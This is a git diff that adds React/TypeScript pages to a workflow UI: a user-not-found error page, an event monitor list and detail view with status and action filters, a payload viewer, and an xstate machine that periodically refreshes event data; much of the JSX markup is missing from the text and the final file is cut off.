a/ui-next/src/pages/error/UserNotFound.tsx b/ui-next/src/pages/error/UserNotFound.tsx new file mode 100644 index 0000000..f1b5945 --- /dev/null +++ b/ui-next/src/pages/error/UserNotFound.tsx @@ -0,0 +1,81 @@ +import { Box, Paper } from "@mui/material"; +import MuiButton from "components/ui/buttons/MuiButton"; +import MuiTypography from "components/ui/MuiTypography"; +import { ErrorProps } from "components/ui/Error"; +import { sidebarGrey } from "theme/tokens/colors"; + +export const UserNotFound = ({ + title, + description, + buttonText, + onClick, + errorLogo, + secondaryButton, +}: ErrorProps) => { + return ( + + userNotFound + + {title} + + + + + + {description} + + + {buttonText} + + {!!secondaryButton && ( + + {secondaryButton.buttonText} + + )} + + + + ); +}; diff --git a/ui-next/src/pages/error/types.ts b/ui-next/src/pages/error/types.ts new file mode 100644 index 0000000..6e2b727 --- /dev/null +++ b/ui-next/src/pages/error/types.ts @@ -0,0 +1,13 @@ +export interface ParsedErrorMessage { + code: string; + description: string; + title: string; + message?: string; + buttonText?: string; + onClick?: () => void; + errorLogo?: string; + secondaryButton?: { + buttonText?: string; + onClick?: () => void; + }; +} diff --git a/ui-next/src/pages/eventMonitor/EventMonitor.tsx b/ui-next/src/pages/eventMonitor/EventMonitor.tsx new file mode 100644 index 0000000..8197dca --- /dev/null +++ b/ui-next/src/pages/eventMonitor/EventMonitor.tsx @@ -0,0 +1,276 @@ +import { Box, Grid } from "@mui/material"; +import { Paper, NavLink } from "components"; +import { Helmet } from "react-helmet"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import SectionHeader from "components/layout/SectionHeader"; +import { useQueryState } from "react-router-use-location-state"; +import { useCallback, useMemo, useState } from "react"; +import DataTable from "components/ui/DataTable/DataTable"; +import _isEmpty from "lodash/isEmpty"; +import { colors } from "theme/tokens/variables"; +import { EventExecutionDto } from "./types"; +import TagChip from "components/ui/TagChip"; +import Header from "components/ui/Header"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import useCustomPagination from "utils/hooks/useCustomPagination"; +import { LegacyColumn } from "components/ui/DataTable/types"; +import { createTableTitle } from "utils/helpers"; +import ConductorMultiSelect from "components/ui/inputs/ConductorMultiSelect"; +import { RefreshEvent } from "./EventMonitorDetail/Refresher/RefreshEvent"; +import MuiTypography from "components/ui/MuiTypography"; +import { useRefreshMachine } from "./EventMonitorDetail/Refresher/state/hook"; +import { PageType } from "./EventMonitorDetail/Refresher/state/types"; + +export const EVENT_STATUS_FILTER_QUERY_PARAM = "statusFilter"; + +const statusOptions: { name: string; label: string }[] = [ + { + label: "Active", + name: "ACTIVE", + }, + { + label: "Inactive", + name: "INACTIVE", + }, +]; + +const ActiveChip = ({ active }: { active: boolean }) => { + const color = active ? colors.successTag : colors.errorTag; + const chipStyles = + color == null + ? {} + : { + backgroundColor: color, + }; + + return ( + + ); +}; + +const columns: LegacyColumn[] = [ + { + id: "name", + name: "name", + label: "Name", + minWidth: "120px", + grow: 2, + tooltip: "Name of the event handler", + renderer: (name) => ( + {name} + ), + }, + { + id: "event", + name: "event", + label: "Event", + minWidth: "120px", + grow: 2, + tooltip: "Event field of the event handler definition", + }, + { + id: "active", + name: "active", + label: "Status", + grow: 2, + renderer: (active) => , + tooltip: "The status of the event", + }, + { + id: "numberOfMessages", + name: "numberOfMessages", + label: "Number of Messages", + tooltip: "Number of Messages received by the event handler", + right: true, + }, + { + id: "numberOfActions", + name: "numberOfActions", + label: "Number of Actions", + tooltip: "Number of Actions triggered by the event handler", + right: true, + }, +]; + +const StatusBadge = ({ label }: { label: string }) => { + const color = label === "Active" ? colors.successTag : colors.errorTag; + const chipStyles = + color == null + ? {} + : { + backgroundColor: color, + }; + + return ; +}; + +export const EventMonitor = () => { + const [ + { eventListData: data, isFetching, elapsed, refreshInterval, isError }, + { changeRefreshRate, handleRefresh }, + ] = useRefreshMachine(PageType.EVENT_LISTING); + const [ + { pageParam, searchParam }, + { handlePageChange, handleSearchTermChange }, + ] = useCustomPagination(); + + const [statusFilterParam, setStatusFilterParam] = useQueryState( + EVENT_STATUS_FILTER_QUERY_PARAM, + "", + ); + + const [statusFilter, setStatusFilter] = useState( + _isEmpty(statusFilterParam) ? [] : statusFilterParam.split(","), + ); + + const handleStatusChange = useCallback( + (values: string[]) => { + setStatusFilter(values); + setStatusFilterParam(values.join(",")); + }, + [setStatusFilter, setStatusFilterParam], + ); + + const checkStatusMatch = useCallback( + (x: EventExecutionDto) => { + if (statusFilter.length > 0) { + return statusFilter.includes(x.active ? "Active" : "Inactive"); + } + return true; + }, + [statusFilter], + ); + + const eventList = useMemo(() => { + let result: EventExecutionDto[] = []; + + if (data?.results) { + const lowerCaseSearchTerm = searchParam.toLowerCase(); + + result = data.results.filter( + (x) => + (x.name.toLowerCase()?.includes(lowerCaseSearchTerm) || + x.event.toLowerCase()?.includes(lowerCaseSearchTerm)) && + checkStatusMatch(x), + ); + } + return result; + }, [checkStatusMatch, data?.results, searchParam]); + + const selectedStatusDisplay = () => { + if ( + statusFilter.length === 0 || + statusFilter.length === statusOptions.length + ) { + return "All status"; + } + + return statusFilter.join(", "); + }; + + return ( + <> + + Event Monitor + + + + +
      + + + + + + + + status.label)} + onSelected={handleStatusChange} + value={statusFilter} + allText="All Status" + renderer={(option) => ( + + )} + /> + + + + + + + + {isError ? "Error while fetching events" : "No event found"} + + } + defaultShowColumns={[ + "name", + "event", + "active", + "numberOfMessages", + "numberOfActions", + ]} + columns={columns} + hideSearch + data={eventList} + title={true} + titleComponent={ + + {createTableTitle({ + filteredData: eventList, + data: data?.results ? data.results : [], + })} + + } + customActions={[ + + Showing status for : {selectedStatusDisplay()} + , + ]} + onChangePage={handlePageChange} + paginationDefaultPage={pageParam ? Number(pageParam) : 1} + /> + + + + ); +}; diff --git a/ui-next/src/pages/eventMonitor/EventMonitorDetail/EventMonitorDetail.tsx b/ui-next/src/pages/eventMonitor/EventMonitorDetail/EventMonitorDetail.tsx new file mode 100644 index 0000000..1d662ef --- /dev/null +++ b/ui-next/src/pages/eventMonitor/EventMonitorDetail/EventMonitorDetail.tsx @@ -0,0 +1,403 @@ +import { Box, Grid, Stack } from "@mui/material"; +import { Button, DataTable, Paper } from "components"; +import { LegacyColumn } from "components/ui/DataTable/types"; +import Header from "components/ui/Header"; +import MuiButton from "components/ui/buttons/MuiButton"; +import MuiTypography from "components/ui/MuiTypography"; +import TagChip from "components/ui/TagChip"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import ConductorMultiSelect from "components/ui/inputs/ConductorMultiSelect"; +import XCloseIcon from "components/icons/XCloseIcon"; +import { ConductorSectionHeader } from "components/layout/section/ConductorSectionHeader"; +import _countBy from "lodash/countBy"; +import _get from "lodash/get"; +import _isEmpty from "lodash/isEmpty"; +import { useCallback, useEffect, useState } from "react"; +import { Helmet } from "react-helmet"; +import { Link, useParams } from "react-router"; +import { useQueryState } from "react-router-use-location-state"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import { EVENT_MONITOR_URL } from "utils/constants/route"; +import { EventItem, GroupedEventItem, ModalConfig } from "../types"; +import { + actions, + status, + statusConfig, + TIME_RANGE_OPTIONS, + truncatePayload, +} from "../utils"; +import { ExpandableGroupedItems, StatusBadge } from "./ExpandedGroupedItem"; +import { PayloadModal } from "./PayloadModal"; +import { RefreshEvent } from "./Refresher/RefreshEvent"; +import { useRefreshMachine } from "./Refresher/state/hook"; +import { PageType } from "./Refresher/state/types"; + +const StatusChips = ({ groupedItems }: { groupedItems?: EventItem[] }) => { + if (!groupedItems?.length) return N/A; + + const counts = _countBy(groupedItems, "status"); + + return ( + + {Object.entries(statusConfig) + .filter(([key]) => counts[key]) + .map(([key, config]) => ( + + ))} + + ); +}; + +const TruncatedPayload = ({ + payload, + title, + onViewMore, +}: { + payload: object; + title: string; + onViewMore: (payload: object, title: string) => void; +}) => { + return ( + + {truncatePayload(payload)} + {JSON.stringify(payload).length > 100 && ( + onViewMore(payload, title)} + > + View more + + )} + + ); +}; + +export const EventMonitorDetail = () => { + const params = useParams(); + const eventName = decodeURIComponent(_get(params, "name") || ""); + const [timeRange, setTimeRange] = useQueryState( + "from", + TIME_RANGE_OPTIONS[0]?.value.toString() || "", + ); + + const [ + { eventMonitorData, isFetching, elapsed, refreshInterval }, + { changeRefreshRate, handleRefresh }, + ] = useRefreshMachine(PageType.EVENT_DETAIL, eventName, parseInt(timeRange)); + + const [showPayloadModal, setShowPayloadModal] = useState(false); + const [modalConfig, setModalConfig] = useState(null); + + const handleOpenModal = useCallback( + (payload: EventItem, title = "Event Payload") => { + setModalConfig({ + payload, + title, + }); + setShowPayloadModal(true); + }, + [], + ); + + const handleCloseModal = useCallback(() => { + setShowPayloadModal(false); + setModalConfig(null); + }, []); + + const [actionFilterParam, setActionFilterParam] = useQueryState( + "actionFilter", + "", + ); + const [statusFilterParam, setStatusFilterParam] = useQueryState( + "statusFilter", + "", + ); + + const [actionFilter, setActionFilter] = useState(() => + _isEmpty(actionFilterParam) ? [] : actionFilterParam.split(","), + ); + + const [statusFilter, setStatusFilter] = useState(() => + _isEmpty(statusFilterParam) ? [] : statusFilterParam.split(","), + ); + + useEffect(() => { + const newActionFilterParam = actionFilter.join(","); + const newStatusFilterParam = statusFilter.join(","); + + if (newActionFilterParam !== actionFilterParam) { + setActionFilterParam(newActionFilterParam); + } + if (newStatusFilterParam !== statusFilterParam) { + setStatusFilterParam(newStatusFilterParam); + } + }, [ + actionFilter, + statusFilter, + actionFilterParam, + statusFilterParam, + setActionFilterParam, + setStatusFilterParam, + ]); + + const handleActionChange = useCallback( + (values: string[], type: "action" | "status") => { + if (type === "action") { + setActionFilter((prev) => + values.length === prev.length && values.every((v, i) => v === prev[i]) + ? prev + : values, + ); + } else if (type === "status") { + setStatusFilter((prev) => + values.length === prev.length && values.every((v, i) => v === prev[i]) + ? prev + : values, + ); + } + }, + [], + ); + + const filterEventData = useCallback( + (data: GroupedEventItem[]) => { + if (_isEmpty(actionFilter) && _isEmpty(statusFilter)) { + return data; + } + + return data.filter((item) => { + const groupedItems = item.groupedItems || []; + return groupedItems.some( + (groupItem) => + (_isEmpty(actionFilter) || + actionFilter.some( + (filter) => + filter.toLowerCase() === groupItem.action?.toLowerCase(), + )) && + (_isEmpty(statusFilter) || + statusFilter.some( + (filter) => + filter.toLowerCase() === groupItem.status?.toLowerCase(), + )), + ); + }); + }, + [actionFilter, statusFilter], + ); + const initColumns: LegacyColumn[] = [ + { + id: "messageId", + name: "messageId", + label: "Message Id", + }, + { + id: "payload", + name: "payload", + label: "Payload", + renderer: (val) => { + const title = "Payload"; + return ( + handleOpenModal(val, title)} + /> + ); + }, + }, + + { + id: "fullMessagePayload", + name: "fullMessagePayload", + label: "Full Message Payload", + minWidth: "220px", + renderer: (val) => { + const title = "Message Payload"; + return ( + handleOpenModal(val, title)} + /> + ); + }, + style: { + div: { + "&:first-child": { + overflow: "unset", + }, + }, + }, + }, + { + id: "status", + name: "status", + label: "Status", + right: true, + renderer: (_val, row) => , + }, + ]; + + return ( + + + Event Monitor Detail + + + +  Close + + } + /> + } + > + {showPayloadModal && modalConfig && ( + + )} +
      + + + + + action.name)} + multiple + freeSolo + onChange={(__, val: string[]) => + handleActionChange(val, "action") + } + value={actionFilter} + /> + + + + stat.name)} + onSelected={(values) => handleActionChange(values, "status")} + value={statusFilter} + allText="All Status" + renderer={(option) => } + /> + + + option.label)} + onChange={(__, val) => { + const selectedOption = TIME_RANGE_OPTIONS.find( + (option) => option.label === val, + ); + setTimeRange(selectedOption?.value.toString() || ""); + }} + value={ + TIME_RANGE_OPTIONS.find( + (option) => option.value.toString() === timeRange, + )?.label || null + } + isOptionEqualToValue={(option, currentValue) => + option === currentValue + } + clearIcon={false} + /> + + + + + + No action found for given event + + } + hideSearch + data={eventMonitorData ? filterEventData(eventMonitorData) : []} + columns={initColumns} + expandableRows + expandableRowDisabled={(row) => row.groups?.length <= 0} + expandableRowsComponent={({ data }) => ( + + )} + /> + + + + ); +}; diff --git a/ui-next/src/pages/eventMonitor/EventMonitorDetail/ExpandedGroupedItem.tsx b/ui-next/src/pages/eventMonitor/EventMonitorDetail/ExpandedGroupedItem.tsx new file mode 100644 index 0000000..b3a51aa --- /dev/null +++ b/ui-next/src/pages/eventMonitor/EventMonitorDetail/ExpandedGroupedItem.tsx @@ -0,0 +1,129 @@ +import { Grid } from "@mui/material"; +import { Button, DataTable, NavLink } from "components"; +import { LegacyColumn } from "components/ui/DataTable/types"; +import TagChip from "components/ui/TagChip"; +import { useMemo } from "react"; +import { ExpanderComponentProps } from "react-data-table-component"; +import { colors } from "theme/tokens/variables"; +import { EventItem } from "../types"; +import { statusColors, status as statusOptions } from "../utils"; + +interface GroupedData { + groupedItems: EventItem[]; +} +interface ExpandableGroupedItemsProps extends ExpanderComponentProps { + actionFilter: string[]; + statusFilter: string[]; + onOpenModal: (payload: any) => void; +} + +export const StatusBadge = ({ status }: { status: string }) => { + const currentStatus = statusOptions.find((s) => s.name === status); + + const color = currentStatus + ? statusColors[currentStatus.name] + : colors.greyBorder; + const chipStyles = { + backgroundColor: color, + }; + + return ( + + ); +}; + +export const ExpandableGroupedItems = ({ + data, + actionFilter, + statusFilter, + onOpenModal, +}: ExpandableGroupedItemsProps) => { + const groupedColumns: LegacyColumn[] = [ + { + id: "action", + name: "action", + label: "Action", + sortable: false, + + renderer: (val, row) => ( + + ), + }, + + { + id: "status", + name: "status", + label: "status", + sortable: false, + grow: 0.5, + renderer: (val) => , + }, + { + id: "statusDescription", + name: "statusDescription", + label: "Status Description", + sortable: false, + style: { + div: { + "&:first-child": { + overflow: "unset", + }, + }, + }, + }, + { + id: "name", + name: "name", + label: "Event Handler", + sortable: false, + right: true, + renderer: (val) => ( + {val} + ), + }, + ]; + + const filteredItems = useMemo(() => { + return data.groupedItems.filter((item: EventItem) => { + const actionMatch = + actionFilter.length === 0 || + actionFilter.some( + (filter) => + filter.localeCompare(item.action, undefined, { + sensitivity: "base", + }) === 0, + ); + const statusMatch = + statusFilter.length === 0 || + statusFilter.some( + (filter) => + filter.localeCompare(item.status, undefined, { + sensitivity: "base", + }) === 0, + ); + return actionMatch && statusMatch; + }); + }, [data.groupedItems, actionFilter, statusFilter]); + return data ? ( + + + + + + ) : null; +}; diff --git a/ui-next/src/pages/eventMonitor/EventMonitorDetail/PayloadModal.tsx b/ui-next/src/pages/eventMonitor/EventMonitorDetail/PayloadModal.tsx new file mode 100644 index 0000000..6f3dcda --- /dev/null +++ b/ui-next/src/pages/eventMonitor/EventMonitorDetail/PayloadModal.tsx @@ -0,0 +1,100 @@ +import { + Dialog, + DialogActions, + DialogContent, + DialogTitle, + Paper, +} from "@mui/material"; +import { Suspense } from "react"; +import { Editor } from "@monaco-editor/react"; +import MuiButton from "components/ui/buttons/MuiButton"; +import { modalStyles } from "components/ui/dialogs/Modal/commonStyles"; +import { Close, Code as CodeIcon } from "@mui/icons-material"; +import { defaultEditorOptions, type EditorOptions } from "shared/editor"; +const editorOption: EditorOptions = { + ...defaultEditorOptions, + tabSize: 2, + minimap: { enabled: false }, + quickSuggestions: true, + scrollbar: { + vertical: "auto", + verticalScrollbarSize: 8, + }, + formatOnType: true, + readOnly: true, + wordWrap: "on", + scrollBeyondLastLine: false, + automaticLayout: true, + fixedOverflowWidgets: true, +}; + +export const PayloadModal = ({ + payload, + handleClose, + title = "Event Payload", +}: { + payload: string; + handleClose: () => void; + title?: string; +}) => { + const onClose = ( + _event: Event, + reason: "backdropClick" | "escapeKeyDown" | "closeButtonClick", + ) => { + if (reason === "backdropClick") { + return false; + } + handleClose(); + }; + + return ( + <> + + + + {title} + + + + Loading...}> + + + + + + } + onClick={handleClose} + > + Close + + + + + ); +}; diff --git a/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/RefreshEvent.tsx b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/RefreshEvent.tsx new file mode 100644 index 0000000..309d242 --- /dev/null +++ b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/RefreshEvent.tsx @@ -0,0 +1,96 @@ +import { + Box, + CircularProgress, + FormControlLabel, + Grid, + Radio, + RadioGroup, +} from "@mui/material"; +import MuiTypography from "components/ui/MuiTypography"; +import { Button } from "components"; +import { useMemo } from "react"; +import RefreshIcon from "components/icons/RefreshIcon"; +const REFRESH_SECONDS_OPTIONS = [5, 10, 30, 60]; + +const getRefreshMessage = ( + isFetching: boolean, + refreshInterval: number, + elapsed: number, +) => { + if (isFetching) { + return "Refreshing..."; + } + return `Refresh in ${refreshInterval - elapsed}`; +}; + +export const RefreshEvent = ({ + refreshInterval, + isFetching, + elapsed, + handleRefresh, + changeRefreshRate, +}: { + refreshInterval: number; + isFetching: boolean; + elapsed: number; + handleRefresh: () => void; + changeRefreshRate: (val: number) => void; +}) => { + const startIcon = useMemo(() => { + return isFetching ? ( + + ) : ( + + ); + }, [isFetching]); + + return ( + + + + Refresh seconds + + + {REFRESH_SECONDS_OPTIONS.map((op) => ( + changeRefreshRate(op)} + checked={op === refreshInterval} + /> + } + label={op} + key={op} + /> + ))} + + + + + + + ); +}; diff --git a/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/actions.ts b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/actions.ts new file mode 100644 index 0000000..bda6aa2 --- /dev/null +++ b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/actions.ts @@ -0,0 +1,59 @@ +import { assign, DoneInvokeEvent } from "xstate"; +import { + PersistEventNameAndDuration, + RefreshMachineContext, + UpdateDurationEvent, +} from "./types"; +export const LOCAL_STORAGE_KEY = "eventMonitorRefreshSeconds"; + +const getStoredDuration = () => + parseInt(localStorage.getItem(LOCAL_STORAGE_KEY) || "60", 10); + +export const persistLocalStorageDuration = assign(() => { + const storedDuration = getStoredDuration(); + return { durationSet: storedDuration, duration: storedDuration }; +}); + +export const persistDuration = assign< + RefreshMachineContext, + UpdateDurationEvent +>({ + duration: (_, event) => { + const duration = event.value; + localStorage.setItem(LOCAL_STORAGE_KEY, `${duration}`); + + return duration; + }, + durationSet: (_, event) => event.value, +}); + +export const persistElapsed = assign({ + elapsed: (context) => context.elapsed + 1, +}); + +export const restartTimer = assign({ + duration: ({ durationSet }) => durationSet, + elapsed: 0, +}); + +export const persistEventData = assign< + RefreshMachineContext, + DoneInvokeEvent +>({ + eventData: (_, event) => event.data, +}); + +export const persistEventListData = assign< + RefreshMachineContext, + DoneInvokeEvent +>({ + eventListData: (_, event) => event.data, +}); + +export const persistEventNameAndTimer = assign< + RefreshMachineContext, + PersistEventNameAndDuration +>({ + eventName: (_, { data }) => data.eventName, + timeRange: (_, { data }) => data.timeRange, +}); diff --git a/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/hook.ts b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/hook.ts new file mode 100644 index 0000000..09855fa --- /dev/null +++ b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/hook.ts @@ -0,0 +1,107 @@ +import { useMachine, useSelector } from "@xstate/react"; +import { refreshMachine } from "./machine"; +import { State } from "xstate"; +import { + PageType, + RefreshMachineContext, + RefreshMachineEventTypes, + RefreshMachineStates, +} from "./types"; +import { useAuthHeaders } from "utils/query"; +import { useCallback, useContext, useEffect } from "react"; +import { MessageContext } from "components/providers/messageContext"; + +export const useRefreshMachine = ( + pageType?: PageType, + eventName?: string, + timeRange?: number, +) => { + const authHeaders = useAuthHeaders(); + const { setMessage } = useContext(MessageContext); + const [, send, service] = useMachine(refreshMachine, { + ...(process.env.NODE_ENV === "development" ? { devTools: true } : {}), + context: { + authHeaders, + pageType, + }, + actions: { + showErrorMessage: (__, { data }: any) => { + setMessage({ + text: data?.message ?? "Failed to fetch event monitor data", + severity: "error", + }); + }, + }, + }); + + const refreshInterval = useSelector( + service, + (state: State) => state.context.durationSet, + ); + + const eventMonitorData = useSelector( + service, + (state: State) => state.context.eventData, + ); + + const eventListData = useSelector( + service, + (state: State) => state.context.eventListData, + ); + + const isFetching = useSelector( + service, + (state: State) => + state.matches(RefreshMachineStates.FETCH_DATA) || + state.matches(RefreshMachineStates.FETCH_EVENT_LIST_DATA), + ); + const isError = useSelector(service, (state: State) => + state.matches(RefreshMachineStates.ERROR), + ); + + const elapsed = useSelector( + service, + (state: State) => state.context.elapsed, + ); + + const changeRefreshRate = (value: number) => { + send({ + type: RefreshMachineEventTypes.UPDATE_DURATION, + value, + }); + }; + const handleRefresh = () => + send({ + type: RefreshMachineEventTypes.REFRESH, + }); + + const persistEventNameAndTime = useCallback( + (eventName: string, timeRange: number) => + send({ + type: RefreshMachineEventTypes.PERSIST_EVENT_NAME_AND_TIME, + data: { + eventName, + timeRange, + }, + }), + [send], + ); + + useEffect(() => { + if (eventName && timeRange) { + persistEventNameAndTime(eventName, timeRange); + } + }, [eventName, persistEventNameAndTime, timeRange]); + + return [ + { + refreshInterval, + elapsed, + eventMonitorData, + isFetching, + eventListData, + isError, + }, + { changeRefreshRate, handleRefresh }, + ] as const; +}; diff --git a/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/machine.ts b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/machine.ts new file mode 100644 index 0000000..e24b7f1 --- /dev/null +++ b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/machine.ts @@ -0,0 +1,100 @@ +import { createMachine } from "xstate"; +import { + PageType, + RefreshMachineContext, + RefreshMachineEventTypes, + RefreshMachineStates, + TimerEvents, +} from "./types"; +import * as actions from "./actions"; +import * as services from "./services"; + +export const refreshMachine = createMachine( + { + id: "refreshMachine", + predictableActionArguments: true, + initial: RefreshMachineStates.INIT, + context: { + durationSet: 60, + elapsed: 0, + duration: 60, + pageType: undefined, + }, + on: { + [RefreshMachineEventTypes.UPDATE_DURATION]: { + actions: ["persistDuration", "restartTimer"], + }, + [RefreshMachineEventTypes.REFRESH]: { + actions: ["restartTimer"], + target: RefreshMachineStates.FETCH_DATA, + }, + [RefreshMachineEventTypes.PERSIST_EVENT_NAME_AND_TIME]: { + actions: ["persistEventNameAndTimer"], + target: RefreshMachineStates.FETCH_DATA, + }, + }, + states: { + [RefreshMachineStates.INIT]: { + entry: "persistLocalStorageDuration", + always: [ + { + cond: (ctx) => !ctx.eventData?.length, + target: RefreshMachineStates.FETCH_DATA, + }, + + { + target: RefreshMachineStates.RUNNING, + }, + ], + }, + [RefreshMachineStates.FETCH_DATA]: { + invoke: { + src: "fetchEventData", + onDone: [ + { + cond: (context) => context.pageType === PageType.EVENT_LISTING, + actions: ["persistEventListData", "restartTimer"], + target: RefreshMachineStates.RUNNING, + }, + { + actions: ["persistEventData", "restartTimer"], + target: RefreshMachineStates.RUNNING, + }, + ], + onError: { + actions: "showErrorMessage", + target: RefreshMachineStates.ERROR, + }, + }, + }, + [RefreshMachineStates.RUNNING]: { + on: { + [RefreshMachineEventTypes.TICK]: { + actions: "persistElapsed", + }, + }, + invoke: { + src: (_context) => (cb) => { + const interval = setInterval(() => { + cb(RefreshMachineEventTypes.TICK); + }, 1000); + + return () => { + clearInterval(interval); + }; + }, + }, + always: { + target: RefreshMachineStates.FETCH_DATA, + cond: (context: RefreshMachineContext) => + context.elapsed >= context.duration, + }, + }, + [RefreshMachineStates.ERROR]: {}, + }, + }, + { + actions: actions as any, + services: services as any, + }, +); diff --git a/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/services.ts b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/services.ts new file mode 100644 index 0000000..825c2c6 --- /dev/null +++ b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/services.ts @@ -0,0 +1,67 @@ +import { queryClient } from "queryClient"; +import { PageType, RefreshMachineContext } from "./types"; +import { fetchContextNonHook, fetchWithContext } from "plugins/fetch"; +import { groupDataByMessageId } from "pages/eventMonitor/utils"; +import { AuthHeaders } from "types/common"; + +const fetchContext = fetchContextNonHook(); +const EVENT_MONITOR_URL = "event/execution"; + +const fetchEventMonitorData = async ( + headers: AuthHeaders, + eventName?: string, + timeRange?: number, +) => { + try { + if (eventName) { + let url = `event/execution/${eventName}`; + if (timeRange && timeRange > 0) { + url += `?from=${timeRange}`; + } + + const data = await queryClient.fetchQuery([fetchContext.stack, url], () => + fetchWithContext(url, fetchContext, { headers }), + ); + + return groupDataByMessageId(data); + } + } catch (error) { + console.error("Error fetching event monitor data:", error); + throw new Error("Failed to fetch event monitor data"); + } +}; + +const fetchEventListingData = async (headers: AuthHeaders) => { + try { + if (headers) { + const data = await queryClient.fetchQuery( + [fetchContext.stack, EVENT_MONITOR_URL], + () => fetchWithContext(EVENT_MONITOR_URL, fetchContext, { headers }), + ); + return data; + } + } catch (error) { + console.error("Error fetching event list data:", error); + throw new Error("Failed to fetch event list data"); + } +}; +export const fetchEventData = async ({ + pageType, + authHeaders, + eventName, + timeRange, +}: RefreshMachineContext) => { + if (!authHeaders) { + throw new Error("authHeaders is not defined"); + } + + try { + if (pageType === PageType.EVENT_LISTING) { + return await fetchEventListingData(authHeaders); + } + return await fetchEventMonitorData(authHeaders, eventName, timeRange); + } catch (error) { + console.error("Error fetching event data:", error); + throw new Error("Failed to fetch event data"); + } +}; diff --git a/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/types.ts b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/types.ts new file mode 100644 index 0000000..dc36e31 --- /dev/null +++ b/ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/types.ts @@ -0,0 +1,65 @@ +import { + EventExecutionResult, + GroupedEventItem, +} from "pages/eventMonitor/types"; +import { AuthHeaders } from "types/common"; + +export enum PageType { + EVENT_LISTING = "EVENT_LISTING", + EVENT_DETAIL = "EVENT_DETAIL", +} + +export interface RefreshMachineContext { + elapsed: number; + duration: number; + durationSet: number; + authHeaders?: AuthHeaders; + eventData?: GroupedEventItem[]; + eventName?: string; + timeRange?: number; + pageType?: PageType; + eventListData?: EventExecutionResult; +} + +export enum RefreshMachineStates { + INIT = "INIT", + RUNNING = "RUNNING", + END_TIMER = "END_TIMER", + FETCH_DATA = "FETCH_DATA", + ERROR = "ERROR", + FETCH_EVENT_LIST_DATA = "FETCH_EVENT_LIST_DATA", +} + +export enum RefreshMachineEventTypes { + TICK = "TICK", + UPDATE_DURATION = "UPDATE_DURATION", + REFRESH = "REFRESH", + PERSIST_EVENT_NAME_AND_TIME = "PERSIST_EVENT_NAME_AND_TIME", +} + +export type TickEvent = { + type: RefreshMachineEventTypes.TICK; +}; + +export type RefreshEvent = { + type: RefreshMachineEventTypes.REFRESH; +}; + +export type UpdateDurationEvent = { + type: RefreshMachineEventTypes.UPDATE_DURATION; + value: number; +}; + +export type PersistEventNameAndDuration = { + type: RefreshMachineEventTypes.PERSIST_EVENT_NAME_AND_TIME; + data: { + eventName: string; + timeRange: number; + }; +}; + +export type TimerEvents = + | TickEvent + | UpdateDurationEvent + | RefreshEvent + | PersistEventNameAndDuration; diff --git a/ui-next/src/pages/eventMonitor/types.ts b/ui-next/src/pages/eventMonitor/types.ts new file mode 100644 index 0000000..d2d9de5 --- /dev/null +++ b/ui-next/src/pages/eventMonitor/types.ts @@ -0,0 +1,43 @@ +export type EventExecutionDto = { + name: string; + event: string; + numberOfMessages: number; + numberOfActions: number; + active: boolean; +}; + +export type EventExecutionResult = { + results: EventExecutionDto[]; + totalHits: number; +}; + +export interface EventItem { + id: string; + messageId: string; + name: string; + event: string; + created: number; + status: string; + action: string; + payload: { + name: string; + }; + fullMessagePayload: { + _headers: Record; + name: string; + id: string; + message: string; + event: string; + _receiverHost: string | null; + }; + statusDescription: string; +} + +export interface GroupedEventItem extends EventItem { + groupedItems: EventItem[]; +} + +export type ModalConfig = { + payload: any; + title: string; +}; diff --git a/ui-next/src/pages/eventMonitor/utils.ts b/ui-next/src/pages/eventMonitor/utils.ts new file mode 100644 index 0000000..5673563 --- /dev/null +++ b/ui-next/src/pages/eventMonitor/utils.ts @@ -0,0 +1,83 @@ +import _groupBy from "lodash/groupBy"; +import { EventItem, GroupedEventItem } from "./types"; +import { colors } from "theme/tokens/variables"; + +export const groupDataByMessageId = (data: EventItem[]): GroupedEventItem[] => { + const groupedData = _groupBy(data, "messageId"); + + return Object.keys(groupedData).map((messageId) => ({ + ...groupedData[messageId][0], // Take the first item to copy over the base properties + groupedItems: groupedData[messageId], // Grouped items + })); +}; + +export const actions: { name: string; label: string }[] = [ + { + label: "Complete Task", + name: "COMPLETE_TASK", + }, + { + label: "Terminate Workflow", + name: "TERMINATE_WORKFLOW", + }, + { + label: "Update Variables", + name: "UPDATE_VARIABLES", + }, + { + label: "Fail Task", + name: "FAIL_TASK", + }, + { + label: "Start Workflow", + name: "START_WORKFLOW", + }, +]; + +export const status: { name: string; label: string }[] = [ + { + label: "In Progress", + name: "IN_PROGRESS", + }, + { + label: "Completed", + name: "COMPLETED", + }, + { + label: "Failed", + name: "FAILED", + }, + { + label: "Skipped", + name: "SKIPPED", + }, +]; + +export const statusColors: { [key: string]: string } = { + IN_PROGRESS: colors.progressTag, + COMPLETED: colors.successTag, + FAILED: colors.errorTag, + SKIPPED: colors.warningTag, +}; + +export const TIME_RANGE_OPTIONS = [ + { label: "5 minutes", value: 5 * 60 * 1000 }, + { label: "15 minutes", value: 15 * 60 * 1000 }, + { label: "30 minutes", value: 30 * 60 * 1000 }, + { label: "All time", value: -1 }, +]; + +export const statusConfig = { + FAILED: { label: "Failed", color: colors.errorTag }, + SKIPPED: { label: "Skipped", color: colors.greyBorder }, + IN_PROGRESS: { label: "In Progress", color: colors.progressTag }, + COMPLETED: { label: "Completed", color: 